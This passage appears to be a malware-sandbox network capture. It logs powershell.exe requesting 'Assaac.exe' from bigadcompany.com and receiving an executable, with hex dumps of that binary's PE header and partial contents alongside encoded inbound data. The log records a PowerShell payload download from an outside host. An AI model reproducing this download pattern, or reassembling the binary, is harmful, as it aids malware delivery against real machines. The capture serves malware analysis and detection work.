{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=todlZzrG3jGz3OfqBGZTs%2BUueBYsLZQ9Xc7GudAlKqjz57Xie8tPIQ0B7e9nUVUbOjbwwi7Ji08pfEwwCchHxMnzXDuzcwSMtFab0WYzFpraY%2FpU9ZV44URKokAa7sS8Dg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fec59654d52424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2210&min_rtt=1587&rtt_var=1040&sent=6&recv=6&lost=0&retrans=0&sent_bytes=3045&recv_bytes=980&delivery_rate=2759924&cwnd=249&unsent_bytes=0&cid=751475d1d452511e&ts=469&x=0"
2025-01-08 12:56:43 UTC	245	IN	Data Raw: 33 36 61 34 0d 0a 47 61 64 76 70 31 4e 54 47 6d 31 4f 6a 4b 48 31 4f 45 69 74 4c 32 70 51 55 41 39 48 67 33 35 64 5a 57 42 57 39 77 79 31 48 32 39 43 33 45 33 53 63 57 6b 34 42 54 72 34 30 59 59 43 46 49 4a 7a 52 54 49 35 61 43 62 6e 48 54 49 49 45 44 65 5a 64 5a 74 38 41 48 54 37 51 4f 59 67 49 48 73 4d 4c 61 4c 45 6a 56 31 71 67 51 30 4d 4a 48 49 31 64 36 39 63 4f 45 64 61 5a 6f 6f 67 7a 6a 30 4a 62 59 56 56 6c 6e 39 78 66 30 39 30 76 59 33 58 58 47 71 58 44 52 77 52 4d 56 59 75 39 68 4d 31 49 6a 67 66 73 6d 75 42 5a 69 5a 39 35 67 54 4b 42 6a 52 7a 42 41 50 30 37 35 39 76 4a 39 70 46 47 79 63 39 66 67 2f 79 52 6a 59 63 42 67 61 50 56 50 70 63 4a 43 2f 73 4b 76 30 77 4e 46 6b 70 4a 4d 58 4a 78 58 73 62 39 33 77 70 47 78 6c Data Ascii: 36a4Gadvp1NTGm1OjKH1OEitL2pQUA9Hg35dZWBW9wy1H29C3E3ScWk4BTr40YYCFIJzRTI5aCbnHTIIEDeZdZt8AHT7QOYgIHsMLaLEjV1qgQ0MJHI1d69cOEdaZoogzj0JbYVVln9xf090vY3XXGqXDRwRMVYu9hM1IjgfsmuBZiZ95gTKBjRzBAP0759vJ9pFGyc9fg/yRjYcBgaPVPpcJC/sKv0wNFkpJMXJxXsb93wpGxl
2025-01-08 12:56:43 UTC	1369	IN	Data Raw: 31 41 72 45 77 50 41 38 6a 42 6f 56 50 31 48 41 4b 61 39 34 37 37 57 74 6b 62 53 6f 6a 78 64 4f 46 56 78 72 42 56 69 67 5a 48 30 49 75 79 79 38 58 4c 77 77 66 76 6d 50 66 55 6a 74 41 6c 68 37 71 47 6d 56 70 4a 7a 2f 6b 6c 71 31 79 42 63 4e 56 47 54 67 37 5a 69 2f 4d 46 51 73 67 4c 47 36 62 51 34 45 73 4b 6d 7a 30 42 39 34 63 50 6c 49 2f 43 37 37 73 70 33 59 74 32 58 30 54 50 51 4e 45 49 65 42 4c 46 68 56 56 4c 4c 35 47 77 32 30 5a 59 4d 4d 68 31 42 73 51 54 68 78 36 2f 63 61 43 61 69 62 37 56 6a 41 7a 59 56 63 6a 36 45 39 32 44 79 4d 47 77 46 6a 2b 63 41 6f 74 33 6a 66 70 61 32 64 79 47 48 62 44 6b 6f 56 58 47 73 46 57 4b 42 6b 66 51 69 37 4a 4c 78 63 76 4b 42 75 7a 59 38 38 76 4f 30 43 58 48 75 6f 61 5a 57 6b 70 50 2b 53 58 67 33 49 46 77 31 55 63 45 6a Data Ascii: 1ArEwPA8jBoVP1HAKa9477WtkbSojxdOFVxrBVigZH0Iuyy8XLwwfvmPfUjtAlh7qGmVpJz/klq1yBcNVGTg7Zi/MFQsgLG6bQ4EsKmz0B94cPlI/C77sp3Yt2X0TPQNEIeBLFhVVLL5Gw20ZYMMh1BsQThx6/caCaib7VjAzYVcj6E92DyMGwFj+cAot3jfpa2dyGHbDkoVXGsFWKBkfQi7JLxcvKBuzY88vO0CXHuoaZWkpP+SXg3IFw1UcEj
2025-01-08 12:56:43 UTC	1369	IN	Data Raw: 4f 32 38 72 41 54 79 30 51 38 64 63 44 6e 62 43 48 64 34 48 47 53 4a 61 4f 63 76 4d 76 45 6f 34 77 6e 30 47 4b 52 4a 47 43 4d 34 58 46 54 51 71 48 4a 74 46 2f 48 41 46 56 50 4d 32 6c 69 49 65 55 31 73 39 78 74 43 64 44 6a 37 6e 59 67 51 71 4a 6b 34 6d 32 68 63 6f 43 41 67 52 72 30 58 77 65 46 74 67 37 67 76 6d 4f 44 35 50 43 69 66 6c 37 49 31 32 49 76 70 41 48 54 6f 68 65 43 72 79 4e 69 78 64 43 79 2b 52 51 34 31 64 48 33 44 73 57 63 59 57 43 58 6b 4b 48 63 6a 4c 76 46 42 34 37 6e 77 77 41 78 4e 45 44 76 6b 37 62 79 73 42 50 4c 52 44 78 31 77 4f 64 73 49 64 33 67 63 5a 49 6c 6f 35 79 38 79 38 53 6a 6a 43 66 51 59 70 45 6b 59 49 7a 68 63 56 4e 43 6f 63 6d 30 58 38 63 41 56 55 38 7a 61 57 49 68 35 54 57 7a 33 47 30 4a 30 4f 50 75 64 69 42 43 6f 6d 54 69 62 Data Ascii: O28rATy0Q8dcDnbCHd4HGSJaOcvMvEo4wn0GKRJGCM4XFTQqHJtF/HAFVPM2liIeU1s9xtCdDj7nYgQqJk4m2hcoCAgRr0XweFtg7gvmOD5PCifl7I12IvpAHToheCryNixdCy+RQ41dH3DsWcYWCXkKHcjLvFB47nwwAxNEDvk7bysBPLRDx1wOdsId3gcZIlo5y8y8SjjCfQYpEkYIzhcVNCocm0X8cAVU8zaWIh5TWz3G0J0OPudiBComTib
2025-01-08 12:56:43 UTC	1369	IN	Data Raw: 43 68 6a 70 48 72 73 4c 77 59 6f 79 46 72 2b 43 6a 6c 43 46 33 6e 32 37 35 78 55 41 65 67 63 43 51 6f 56 66 41 62 4e 47 52 70 57 4c 43 47 46 66 49 4e 37 4c 56 44 6f 49 73 39 72 41 33 4d 38 41 4d 54 62 77 30 49 78 39 55 59 47 49 52 31 47 50 75 6c 4f 61 44 49 55 4a 59 56 64 2f 48 35 59 52 59 67 44 79 54 63 33 56 6a 73 65 31 4d 43 6c 43 58 37 45 62 69 73 35 4d 33 39 79 31 69 51 2b 45 77 77 64 6a 54 79 45 4e 41 68 4d 30 43 44 4c 50 52 6c 77 44 77 44 72 31 6f 31 71 4d 63 35 72 4a 54 6b 63 5a 79 62 43 44 52 38 56 4f 44 4f 37 4e 63 52 49 4f 33 58 65 47 63 41 34 47 57 6f 73 4b 62 72 6d 67 67 45 6b 39 55 63 46 47 67 42 4c 49 66 56 4e 43 69 41 32 4f 6f 5a 62 35 31 46 57 63 63 67 44 33 54 64 6e 62 79 67 55 70 35 4f 33 57 79 72 70 58 51 38 47 42 55 42 30 73 69 5a 76 Data Ascii: ChjpHrsLwYoyFr+CjlCF3n275xUAegcCQoVfAbNGRpWLCGFfIN7LVDoIs9rA3M8AMTbw0Ix9UYGIR1GPulOaDIUJYVd/H5YRYgDyTc3Vjse1MClCX7Ebis5M39y1iQ+EwwdjTyENAhM0CDLPRlwDwDr1o1qMc5rJTkcZybCDR8VODO7NcRIO3XeGcA4GWosKbrmggEk9UcFGgBLIfVNCiA2OoZb51FWccgD3TdnbygUp5O3WyrpXQ8GBUB0siZv
2025-01-08 12:56:43 UTC	1369	IN	Data Raw: 4a 74 33 30 31 5a 56 4e 31 64 2f 67 41 65 56 31 6f 6f 33 35 65 30 41 42 37 66 57 7a 77 70 4e 6b 49 54 78 43 63 79 41 42 59 76 67 6b 48 36 4b 43 42 68 31 67 72 66 49 41 55 6f 46 77 58 72 39 35 38 4e 66 4f 41 66 4f 68 49 38 52 68 37 37 4e 32 77 64 4f 57 2b 2f 58 66 63 70 52 46 6a 45 4c 65 41 6b 43 6c 63 44 4e 50 2b 57 73 6c 6c 2f 36 6c 63 43 46 69 5a 74 42 65 51 52 4a 43 78 5a 62 6f 52 6e 68 69 30 75 66 64 49 62 38 7a 51 2f 65 78 55 49 78 2f 47 6d 54 77 33 49 56 51 6b 44 4f 6b 52 73 36 6b 64 70 56 44 6b 51 70 47 33 44 5a 6a 74 31 34 31 7a 6c 4a 68 46 33 4f 6e 62 75 30 59 4e 62 4a 73 52 74 4d 7a 64 69 56 54 33 42 43 77 46 4b 4c 78 43 4f 51 4d 55 6e 57 57 37 74 58 50 49 66 50 6c 77 45 4b 64 6e 47 72 57 42 39 2f 58 38 69 41 78 74 72 48 65 41 50 4e 79 67 30 59 Data Ascii: Jt301ZVN1d/gAeV1oo35e0AB7fWzwpNkITxCcyABYvgkH6KCBh1grfIAUoFwXr958NfOAfOhI8Rh77N2wdOW+/XfcpRFjELeAkClcDNP+Wsll/6lcCFiZtBeQRJCxZboRnhi0ufdIb8zQ/exUIx/GmTw3IVQkDOkRs6kdpVDkQpG3DZjt141zlJhF3Onbu0YNbJsRtMzdiVT3BCwFKLxCOQMUnWW7tXPIfPlwEKdnGrWB9/X8iAxtrHeAPNyg0Y
2025-01-08 12:56:43 UTC	1369	IN	Data Raw: 30 4e 58 71 65 57 73 34 72 47 6e 55 43 66 37 76 6c 78 6e 4a 6a 37 31 34 34 41 57 6b 2b 64 4d 34 51 4e 79 6b 4d 46 4a 4e 2f 32 69 64 59 57 50 55 6a 77 78 4a 67 58 69 67 42 79 76 61 6e 62 69 2f 36 64 52 73 63 47 47 41 77 7a 42 77 79 46 31 4a 6b 6b 6c 43 61 4c 54 64 36 33 52 79 52 46 6a 5a 66 4b 48 6a 2f 2b 34 39 36 44 39 70 32 4a 7a 34 71 50 53 6a 62 46 54 49 41 46 54 36 62 54 6f 31 59 56 6e 66 4d 49 38 34 46 59 6b 6b 49 4e 4f 44 49 6f 32 41 64 36 33 38 6c 50 78 35 2f 42 64 6f 4c 46 52 52 59 50 59 35 71 35 58 34 48 66 50 51 69 30 54 49 55 54 79 41 70 37 70 4f 51 61 52 36 5a 5a 56 6b 4a 46 6c 67 53 38 6b 73 62 43 43 34 33 73 79 66 51 63 54 64 4a 79 79 62 31 5a 43 42 69 4b 51 76 44 35 36 31 78 45 74 35 32 4f 44 49 56 54 41 7a 67 54 44 51 39 4d 52 79 39 59 49 Data Ascii: 0NXqeWs4rGnUCf7vlxnJj7144AWk+dM4QNykMFJN/2idYWPUjwxJgXigByvanbi/6dRscGGAwzBwyF1JkklCaLTd63RyRFjZfKHj/+496D9p2Jz4qPSjbFTIAFT6bTo1YVnfMI84FYkkINODIo2Ad638lPx5/BdoLFRRYPY5q5X4HfPQi0TIUTyAp7pOQaR6ZZVkJFlgS8ksbCC43syfQcTdJyyb1ZCBiKQvD561xEt52ODIVTAzgTDQ9MRy9YI
2025-01-08 12:56:43 UTC	1369	IN	Data Raw: 69 44 37 55 49 32 46 52 58 41 33 59 34 72 31 79 66 75 39 70 4b 77 6b 58 61 78 75 73 4a 68 77 51 41 78 57 2b 5a 49 56 63 50 45 50 30 44 63 34 62 47 55 49 46 4b 75 76 47 77 47 78 78 37 6c 59 45 43 53 4a 61 44 63 34 33 50 67 73 50 45 36 4a 31 35 57 64 63 49 4d 51 73 6b 69 51 61 63 79 55 66 78 75 75 5a 63 6a 33 6b 54 41 55 33 46 6a 38 45 78 78 49 53 4d 43 77 64 6b 32 58 42 54 67 52 75 6b 52 62 43 4f 79 74 39 47 43 66 6b 35 71 64 70 42 4d 4e 75 41 78 6b 30 54 69 7a 75 4b 7a 49 39 45 7a 4c 43 4f 49 78 49 4b 30 44 6b 48 74 41 2b 49 69 4d 4d 46 2f 36 51 67 33 55 55 67 6c 63 77 49 68 46 68 49 76 41 70 4a 54 46 59 47 63 4d 38 31 6b 77 47 62 64 4d 4e 77 6a 67 71 4d 51 73 41 2b 35 6d 78 41 58 37 56 53 68 68 37 4e 46 6f 41 73 55 64 74 48 7a 78 35 77 6a 33 70 4d 46 64 Data Ascii: iD7UI2FRXA3Y4r1yfu9pKwkXaxusJhwQAxW+ZIVcPEP0Dc4bGUIFKuvGwGxx7lYECSJaDc43PgsPE6J15WdcIMQskiQacyUfxuuZcj3kTAU3Fj8ExxISMCwdk2XBTgRukRbCOyt9GCfk5qdpBMNuAxk0TizuKzI9EzLCOIxIK0DkHtA+IiMMF/6Qg3UUglcwIhFhIvApJTFYGcM81kwGbdMNwjgqMQsA+5mxAX7VShh7NFoAsUdtHzx5wj3pMFd
2025-01-08 12:56:43 UTC	1369	IN	Data Raw: 67 39 38 49 30 59 34 34 4d 71 78 54 68 4b 56 65 51 64 67 50 56 38 6f 77 53 6f 42 53 68 41 41 6c 46 43 61 66 41 35 79 6c 7a 32 4d 42 6a 70 30 48 41 2f 42 34 4c 6c 70 4b 76 64 33 49 77 6b 6d 52 44 66 46 4b 42 34 51 4e 79 53 30 62 63 52 4c 48 6d 44 56 47 4f 35 6b 48 46 73 6b 65 76 37 52 6d 6d 49 78 6d 6d 77 64 4d 78 52 6d 48 39 49 30 4c 46 5a 55 45 63 41 37 33 55 63 39 4b 66 34 74 37 32 55 64 58 53 59 72 36 64 4f 2b 43 44 76 4f 57 53 73 78 43 57 41 2b 75 78 64 6f 56 79 6b 61 74 6c 76 63 56 67 74 59 7a 44 66 4f 43 69 64 34 4a 48 7a 4b 77 73 55 49 4b 64 78 32 49 79 41 61 4f 43 37 68 52 67 30 4d 46 52 69 4e 55 4a 6f 6f 48 48 4f 66 43 2f 74 38 43 31 73 59 4c 63 2f 6f 6e 51 67 4c 2f 6e 55 35 45 6d 64 46 64 4d 73 4f 46 7a 4d 4f 41 5a 4a 6e 6e 6c 77 42 66 2f 38 58 Data Ascii: g98I0Y44MqxThKVeQdgPV8owSoBShAAlFCafA5ylz2MBjp0HA/B4LlpKvd3IwkmRDfFKB4QNyS0bcRLHmDVGO5kHFskev7RmmIxmmwdMxRmH9I0LFZUEcA73Uc9Kf4t72UdXSYr6dO+CDvOWSsxCWA+uxdoVykatlvcVgtYzDfOCid4JHzKwsUIKdx2IyAaOC7hRg0MFRiNUJooHHOfC/t8C1sYLc/onQgL/nU5EmdFdMsOFzMOAZJnnlwBf/8X
2025-01-08 12:56:43 UTC	1369	IN	Data Raw: 49 6e 4e 2b 75 4b 76 6e 45 61 79 6b 4d 53 42 54 73 39 4c 75 55 73 45 43 41 33 49 36 5a 6d 67 6e 67 42 63 4f 38 62 30 44 67 68 52 6b 49 65 2f 75 4f 45 56 51 4f 66 58 69 38 6c 4d 32 49 41 78 77 59 79 41 67 6b 56 70 46 62 6d 54 53 52 54 38 53 72 64 42 54 49 70 46 42 37 44 34 70 4e 54 4c 5a 78 47 4f 54 6c 6f 55 32 6a 61 4f 57 6b 4b 45 67 53 59 57 2f 4e 6d 49 6e 62 33 44 73 34 58 50 46 41 4d 43 4d 57 58 6d 6c 59 64 2b 57 49 38 49 69 56 47 47 36 77 33 46 31 30 49 59 4b 39 47 2f 6d 30 56 49 63 41 4e 6b 44 6f 38 56 51 55 48 31 4f 75 59 58 33 44 45 5a 69 4d 42 50 44 77 53 36 51 38 30 4d 79 49 59 6e 56 76 48 65 56 39 2b 2f 77 6e 43 4b 67 6c 75 4e 77 33 65 6b 4b 46 78 48 2f 64 6e 47 53 6b 2b 58 54 54 56 42 6d 35 54 4d 6d 53 48 59 50 68 33 48 30 6a 42 42 66 4d 38 50 Data Ascii: InN+uKvnEaykMSBTs9LuUsECA3I6ZmgngBcO8b0DghRkIe/uOEVQOfXi8lM2IAxwYyAgkVpFbmTSRT8SrdBTIpFB7D4pNTLZxGOTloU2jaOWkKEgSYW/NmInb3Ds4XPFAMCMWXmlYd+WI8IiVGG6w3F10IYK9G/m0VIcANkDo8VQUH1OuYX3DEZiMBPDwS6Q80MyIYnVvHeV9+/wnCKgluNw3ekKFxH/dnGSk+XTTVBm5TMmSHYPh3H0jBBfM8P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49985	192.250.235.30	443	7508	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 12:56:44 UTC	201	OUT	GET /Assaac.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: bigadcompany.com
2025-01-08 12:56:44 UTC	525	IN	HTTP/1.1 200 OK Connection: close cache-control: public, max-age=2592000,public expires: Fri, 07 Feb 2025 12:56:44 GMT content-type: application/x-msdownload last-modified: Sun, 05 Jan 2025 14:07:54 GMT accept-ranges: bytes content-length: 598528 date: Wed, 08 Jan 2025 12:56:44 GMT server: LiteSpeed vary: User-Agent,Accept-Encoding alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2025-01-08 12:56:45 UTC	16384	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 02 00 74 94 29 bb 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 30 00 00 f2 08 00 00 2e 00 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 40 01 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 09 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdt)"0. @ ``@@
2025-01-08 12:56:45 UTC	16384	IN	Data Raw: 6f 1c 00 70 a2 25 20 d3 01 00 00 72 7d 1c 00 70 a2 25 20 d4 01 00 00 72 8b 1c 00 70 a2 25 20 d5 01 00 00 72 9b 1c 00 70 a2 25 20 d6 01 00 00 72 a5 1c 00 70 a2 25 20 d7 01 00 00 72 b3 1c 00 70 a2 25 20 d8 01 00 00 72 c1 1c 00 70 a2 25 20 d9 01 00 00 72 d1 1c 00 70 a2 25 20 da 01 00 00 72 dd 1c 00 70 a2 25 20 db 01 00 00 72 eb 1c 00 70 a2 25 20 dc 01 00 00 72 f9 1c 00 70 a2 25 20 dd 01 00 00 72 0b 1d 00 70 a2 25 20 de 01 00 00 72 19 1d 00 70 a2 25 20 df 01 00 00 72 27 1d 00 70 a2 25 20 e0 01 00 00 72 31 1d 00 70 a2 25 20 e1 01 00 00 72 41 1d 00 70 a2 25 20 e2 01 00 00 72 51 1d 00 70 a2 25 20 e3 01 00 00 72 5f 1d 00 70 a2 25 20 e4 01 00 00 72 6d 1d 00 70 a2 25 20 e5 01 00 00 72 7d 1d 00 70 a2 25 20 e6 01 00 00 72 8b 1d 00 70 a2 25 20 e7 01 00 00 72 99 1d 00 Data Ascii: op% r}p% rp% rp% rp% rp% rp% rp% rp% rp% rp% rp% rp% r'p% r1p% rAp% rQp% r_p% rmp% r}p% rp% r
2025-01-08 12:56:45 UTC	16384	IN	Data Raw: a2 25 20 28 07 00 00 72 ab 60 00 70 a2 25 20 29 07 00 00 72 b7 60 00 70 a2 25 20 2a 07 00 00 72 c5 60 00 70 a2 25 20 2b 07 00 00 72 d1 60 00 70 a2 25 20 2c 07 00 00 72 e1 60 00 70 a2 25 20 2d 07 00 00 72 f3 60 00 70 a2 25 20 2e 07 00 00 72 fd 60 00 70 a2 25 20 2f 07 00 00 72 09 61 00 70 a2 25 20 30 07 00 00 72 19 61 00 70 a2 25 20 31 07 00 00 72 27 61 00 70 a2 25 20 32 07 00 00 72 33 61 00 70 a2 25 20 33 07 00 00 72 3d 61 00 70 a2 25 20 34 07 00 00 72 45 61 00 70 a2 25 20 35 07 00 00 72 51 61 00 70 a2 25 20 36 07 00 00 72 5d 61 00 70 a2 25 20 37 07 00 00 72 6d 61 00 70 a2 25 20 38 07 00 00 72 7b 61 00 70 a2 25 20 39 07 00 00 72 87 61 00 70 a2 25 20 3a 07 00 00 72 99 61 00 70 a2 25 20 3b 07 00 00 72 a3 61 00 70 a2 25 20 3c 07 00 00 72 af 61 00 70 a2 25 20 Data Ascii: % (r`p% )r`p% *r`p% +r`p% ,r`p% -r`p% .r`p% /rap% 0rap% 1r'ap% 2r3ap% 3r=ap% 4rEap% 5rQap% 6r]ap% 7rmap% 8r{ap% 9rap% :rap% ;rap% <rap%
2025-01-08 12:56:45 UTC	16384	IN	Data Raw: 39 05 ef 14 08 06 41 05 29 03 0e 06 89 02 49 10 04 05 89 02 1e 18 06 00 89 02 e6 07 69 00 0e 00 38 01 33 06 29 00 a3 00 04 08 2e 00 0b 00 dc 07 2e 00 13 00 e5 07 2e 00 1b 00 04 08 2e 00 23 00 0d 08 2e 00 2b 00 19 08 2e 00 33 00 45 08 2e 00 3b 00 4b 08 2e 00 43 00 0d 08 2e 00 4b 00 61 08 2e 00 53 00 45 08 2e 00 5b 00 45 08 2e 00 63 00 79 08 2e 00 6b 00 86 08 2e 00 73 00 93 08 49 00 a3 00 04 08 c0 00 83 00 e1 08 e3 00 9b 00 c1 0a e3 00 93 00 4f 09 e3 00 ab 00 4f 09 00 01 8b 00 19 09 03 01 ab 00 4f 09 03 01 9b 00 02 0b 80 01 93 00 4f 09 80 01 9b 00 54 09 a0 01 93 00 4f 09 a0 01 9b 00 54 09 a0 01 a3 00 78 09 43 02 ab 00 4f 09 63 02 ab 00 4f 09 83 02 ab 00 4f 09 a3 02 ab 00 4f 09 c0 02 93 00 4f 09 c0 02 9b 00 54 09 c3 02 ab 00 4f 09 e0 02 93 00 4f 09 e0 02 9b Data Ascii: 9A)Ii83)....#.+.3E.;K.C.Ka.SE.[E.cy.k.sIOOOOTOTxCOcOOOOTOO
2025-01-08 12:56:45 UTC	16384	IN	Data Raw: 65 00 73 00 63 00 72 00 69 00 62 00 65 00 00 0d 64 00 65 00 73 00 65 00 72 00 74 00 00 0d 64 00 65 00 73 00 69 00 67 00 6e 00 00 09 64 00 65 00 73 00 6b 00 00 0f 64 00 65 00 73 00 70 00 61 00 69 00 72 00 00 0f 64 00 65 00 73 00 74 00 72 00 6f 00 79 00 00 0d 64 00 65 00 74 00 61 00 69 00 6c 00 00 0d 64 00 65 00 74 00 65 00 63 00 74 00 00 0f 64 00 65 00 76 00 65 00 6c 00 6f 00 70 00 00 0d 64 00 65 00 76 00 69 00 63 00 65 00 00 0d 64 00 65 00 76 00 6f 00 74 00 65 00 00 0f 64 00 69 00 61 00 67 00 72 00 61 00 6d 00 00 09 64 00 69 00 61 00 6c 00 00 0f 64 00 69 00 61 00 6d 00 6f 00 6e 00 64 00 00 0b 64 00 69 00 61 00 72 00 79 00 00 09 64 00 69 00 63 00 65 00 00 0d 64 00 69 00 65 00 73 00 65 00 6c 00 00 09 64 00 69 00 65 00 74 00 00 0d 64 00 69 00 66 00 66 00 65 Data Ascii: escribedesertdesigndeskdespairdestroydetaildetectdevelopdevicedevotediagramdialdiamonddiarydicedieseldietdiffe
2025-01-08 12:56:45 UTC	16384	IN	Data Raw: 6d 00 70 00 00 09 73 00 77 00 61 00 70 00 00 0b 73 00 77 00 61 00 72 00 6d 00 00 0b 73 00 77 00 65 00 61 00 72 00 00 0b 73 00 77 00 65 00 65 00 74 00 00 0b 73 00 77 00 69 00 66 00 74 00 00 09 73 00 77 00 69 00 6d 00 00 0b 73 00 77 00 69 00 6e 00 67 00 00 0d 73 00 77 00 69 00 74 00 63 00 68 00 00 0b 73 00 77 00 6f 00 72 00 64 00 00 0d 73 00 79 00 6d 00 62 00 6f 00 6c 00 00 0f 73 00 79 00 6d 00 70 00 74 00 6f 00 6d 00 00 0b 73 00 79 00 72 00 75 00 70 00 00 0d 73 00 79 00 73 00 74 00 65 00 6d 00 00 0b 74 00 61 00 62 00 6c 00 65 00 00 0d 74 00 61 00 63 00 6b 00 6c 00 65 00 00 07 74 00 61 00 67 00 00 09 74 00 61 00 69 00 6c 00 00 0d 74 00 61 00 6c 00 65 00 6e 00 74 00 00 09 74 00 61 00 6c 00 6b 00 00 09 74 00 61 00 6e 00 6b 00 00 09 74 00 61 00 70 00 65 00 00 Data Ascii: mpswapswarmswearsweetswiftswimswingswitchswordsymbolsymptomsyrupsystemtabletackletagtailtalenttalktanktape
2025-01-08 12:56:45 UTC	16384	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2025-01-08 12:56:45 UTC	16384	IN	Data Raw: 07 06 64 00 d4 02 00 ff ff 00 b2 00 00 06 b8 0a 75 06 26 01 76 00 00 00 07 06 70 01 e9 02 00 00 02 00 bc 00 00 06 c2 08 00 00 03 00 1b 00 00 41 01 07 01 01 11 21 32 04 12 15 14 02 04 23 21 11 21 32 36 36 35 34 26 26 23 21 11 04 15 01 fb b6 fe 05 fd 5d 03 27 e9 01 48 ae b0 fe b3 ec fd fd 01 bc 7d a4 51 51 a5 7d fe dc 05 41 fc f1 75 03 10 fb 33 08 00 b1 fe c7 cc cc fe c8 ae 01 5b 57 9b 65 66 99 55 f9 62 00 02 00 63 00 00 08 fb 08 00 00 18 00 23 00 00 41 21 35 26 36 24 33 21 32 04 12 15 14 02 04 23 21 11 21 11 23 22 06 06 17 01 21 32 36 36 35 34 26 26 23 21 01 e6 fe 7e 01 8e 01 07 b6 03 6f e9 01 48 ad b0 fe b3 ec fe 94 fe 50 47 53 58 1f 01 02 c0 01 26 7d a3 52 52 a4 7e fe dc 05 27 c9 a1 ed 82 b1 fe c7 cc cc fe c8 ae fd 68 06 9e 4d 75 3e fe 55 57 9b 65 66 99 Data Ascii: du&vpA!2#!!26654&&#!]'H}QQ}Au3[WefUbc#A!5&6$3!2#!!#"!26654&&#!~oHPGSX&}RR~'hMu>UWef
2025-01-08 12:56:45 UTC	16384	IN	Data Raw: ff 98 fe 19 03 66 08 00 06 26 02 d3 00 00 00 07 08 62 04 d2 00 00 ff ff ff 4b fd ba 03 b3 08 00 06 26 02 d3 00 00 00 07 06 89 04 ec 00 00 00 01 00 aa ff ed 03 5a 08 00 00 0f 00 00 53 21 11 16 16 33 36 36 37 13 06 06 07 06 26 27 aa 01 aa 01 33 3e 20 24 0c 44 21 5f 50 f5 ea 01 08 00 f9 cc 49 41 01 06 05 fe ca 0a 15 03 09 cb db 00 02 ff fe ff ed 03 76 08 00 00 03 00 13 00 00 41 15 01 35 13 21 11 14 16 33 36 36 37 13 06 06 07 06 26 27 03 26 fc d8 c9 01 aa 34 3d 21 23 0d 43 20 60 4f f5 ea 01 05 35 ec fe fd ec 03 ce f9 cc 49 41 01 06 05 fe ca 0a 15 03 09 cb db ff ff ff 8c ff ed 03 72 08 00 06 26 02 e2 00 00 00 07 07 fe fe d6 00 0b ff ff ff 23 ff ed 03 dd 08 00 06 26 02 e2 00 00 00 07 07 bd ff 23 00 11 00 02 00 2f ff ed 05 6a 08 00 00 1c 00 2c 00 00 41 21 22 26 Data Ascii: f&bK&ZS!3667&'3> $D!_PIAvA5!3667&'&4=!#C `O5IAr&#&#/j,A!"&
2025-01-08 12:56:45 UTC	16384	IN	Data Raw: 00 08 00 00 01 00 ba 00 00 06 cc 08 00 00 16 00 00 41 21 32 04 12 07 16 02 04 23 21 11 21 11 21 32 36 36 27 36 26 23 21 01 cf 01 e8 f4 01 61 c0 01 01 c0 fe 9f f4 fd 03 01 b0 01 4d 75 a0 53 01 01 b9 af fe 18 05 0b 9d fe e2 c2 c1 fe d9 a6 08 00 f9 5c 55 8d 54 7a a9 00 02 00 85 00 00 0b f2 08 00 00 11 00 28 00 00 73 11 37 3e 02 12 37 13 21 11 21 03 02 02 06 06 23 01 21 32 04 12 15 14 02 04 23 21 11 21 11 21 32 36 36 35 34 26 23 21 85 35 4a 73 53 33 09 21 04 36 fd 5d 21 0e 59 a1 f5 ac 06 06 01 e8 f3 01 61 c0 c0 fe 9f f3 fd 02 01 b1 01 4d 74 a0 53 b9 ae fe 18 01 5e 03 03 42 a6 01 32 f3 03 8f fe a2 fd 3a fe e5 fe 82 e1 62 05 0b 9d fe e2 c2 c1 fe d9 a6 08 00 f9 5c 55 8d 54 7a a9 00 02 00 b2 00 00 0b e4 08 